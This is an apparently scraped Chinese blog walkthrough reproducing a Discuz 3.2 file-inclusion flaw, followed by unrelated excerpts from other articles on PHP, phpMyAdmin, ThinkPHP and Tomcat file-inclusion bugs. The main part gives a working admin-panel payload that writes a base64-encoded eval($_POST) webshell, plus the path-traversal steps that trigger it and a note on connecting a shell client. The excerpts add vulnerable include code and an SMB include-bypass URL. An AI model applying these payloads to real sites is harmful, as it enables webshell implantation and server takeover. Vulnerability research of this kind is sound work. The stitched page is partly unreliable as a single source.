2019-11-12:Discuz3.2漏洞文件包含漏洞复现

*文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

Discuz3.2漏洞文件包含漏洞复现,由于创建专题时未对 ,静态化名称,做任何限制引发此漏洞问题,问题出在代码中的函数check_seccode(),该函数在/source/class/helper/helper_seccheck.php中,作用是检查验证码是否正确。在后台的防灌水功能中可以设置验证码类型,对应的变量是$_G[‘setting‘][‘seccodedata‘][‘type‘],该值在进入数据库前未做安全检查。check_seccode()取出该值时也没有检查是否合法,导致漏洞产生。

一、环境搭建

1,下载源码,解压到phpstudy的网站根目录,浏览器访问网站,点击同意,开始安装

2,自行设置好网站管理员账号,密码,数据库信息等,安装即可

3,等待安装完成,即可

4,安装完成

二、漏洞复现

1,本次复现漏洞是在网站后台管理界面,所以需要登录后台,浏览器访问搭建的论坛的admin.php后台界面,输入安装时候设置的管理员账号,密码,提交登录进入管理后台

2,点击,全局,站点信息,在网站URL后边加入poc,#<?php file_put_contents(‘0.php‘,base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4=‘));?>,点击提交

3,点击,进入工具页面,更新缓存,确定更新缓存,等待更新完成

4,点击,门户,生成HTML选择是, 静态文件扩展名一定改成htm的,专题存放目录选择data/cache,点击提交

5,还是 门户界面,选择 专题管理

6,点击 创建专题,专题标题输入任意都行,静态化名称没有做任何限制,要输入,../../template/default/portal/portal_topic_test,还要勾选 站点尾部信息,之后点击提交

7,返回专题管理界面, 勾选新创建的专题,选择开启,提交,开启之后,才能选择 生成

8,重新点击创建专题,专题标题一样随便写,静态化名称也是随便写,模版名一定要选择之前新创建的模版,点击提交

9,进入网站根目录,会发现脚本执行成功,生成了一个shell.php脚本

10,菜刀连接url,成功getshell

原文地址:https://www.cnblogs.com/sym945/p/11845394.html

时间: 2024-11-10 02:02:23

2019-11-12:Discuz3.2漏洞文件包含漏洞复现的相关文章

web安全原理-文件包含漏洞

前言 起来吃完早饭就开始刷攻防世界的题,一个简单的文件包含题我竟然都做不出来我服了  拿出买的书开始从头学习总结文件包含漏洞! 一.文件包含漏洞 文件包含漏洞 文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期文件.如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行. 文件包含漏洞肯能会造成服务器网页被篡改.网站被挂马.服务器被远程控制.被安装后门等危害. 常见的文件包含函数: 1.include() 包含并运行制定文件.在出错时

PHP文件包含漏洞总结

0x00 前言 PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入.最常见的就属于本地文件包含(Local File Inclusion)漏洞了. 我们来看下面一段index.php代码: if ($_GET['func']) { include $_GET['func']; } else { include 'default.php'; } 程序的本意可能是当提交url为http:

文件包含漏洞---php协议

一.原理 1.概念:在php代码中,总会有一些代码我们会经常用到,这时引入了文件包含函数,可以通过文件包含函数把这些代码文件包含进来,直接使用文件中的代码,这样提高了我们的工作效率. 2.文件包含函数: include():如果发生错误,会产生一个警告然后继续执行脚本 include_once():与include()相同,如果文件之前被包含过则不再包含 require():会停止执行代码 require_once():如果文件之前被包含过则不再包含 3.类型:本地文件包含.远程文件包含(url

phpmyadmin任意文件包含漏洞分析(含演示)

0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: phpMyAdmin 4.0.1 – 4.0.10.6 4.1.1 – 4.1.14.7 4.2.1 – 4.2.12 0x02 补丁分析 看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料. 前几天phpmyadmin出了个

thinkphp 5.x~3.x 文件包含漏洞分析

漏洞描述: ThinkPHP在加载模版解析变量时存在变量覆盖的问题,且没有对 $cacheFile 进行相应的消毒处理,导致模板文件的路径可以被覆盖,从而导致任意文件包含漏洞的发生. 主要还是变量覆盖的问题. 漏洞范围: 漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.18 .5.1.0<=ThinkPHP<=5.1.10 本地复现环境: tp5.0.15   php version :7.0.12 <?php namespace app\index\contro

php文件包含漏洞(allow_url_include=Off)的绕过方法

分享几个当allow_url_include = Off时的文件包含漏洞的绕过方法. 假设服务端的php代码(aaa.php)如下图所示: 第1种:smb协议 Payload:http://127.0.0.1/aaa.php?path=\\43.5*.**.74\ica\abc1238.htm 这种方法只适用于Windows类型的网站服务器,不能用于Linux服务器. 首先在VPS上搭建Samba服务,然后添加一个无需认证即可访问的共享目录,配置信息如下图所示: 然后在/home/share目录

Apache Tomcat文件包含漏洞紧急修复

Tomcat 漏洞 tomcat有漏洞, 需要升级到9.0.31 https://cert.360.cn/warning/detail?id=849be16c6d2dd909ff56eee7e26aeefe 2020年02月20日, 360CERT 监测发现 国家信息安全漏洞共享平台(CNVD) 收录了 CNVD-2020-10487 Apache Tomcat文件包含漏洞 Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems

文件包含漏洞

本实验是基于DVWA和sqli-labs的实验环境 实验平台搭建:下载Wamp集成环境,并下载DVWA和sqli-labs和压缩包解压至wamp\www的目录下.安装只要注意Wamp环境的数据库名和密码对应即可. 0x01:文件包含漏洞 服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. 这也算官方的解释吧,用个人的话说,通过浏览器.url地址或者是一个参数的变量的内容,可以通过修改这些url

PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的一种攻击手段.本文对PHP文件包含漏洞的形成.利用技巧及防范进行了详细的分析,并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试,最终成功获取到网站的WebShell. 1. PHP文件包含漏洞介绍 首先,我们来介绍下何为文件包含漏洞.严格来说,文件包含漏洞是“代码注入”的一种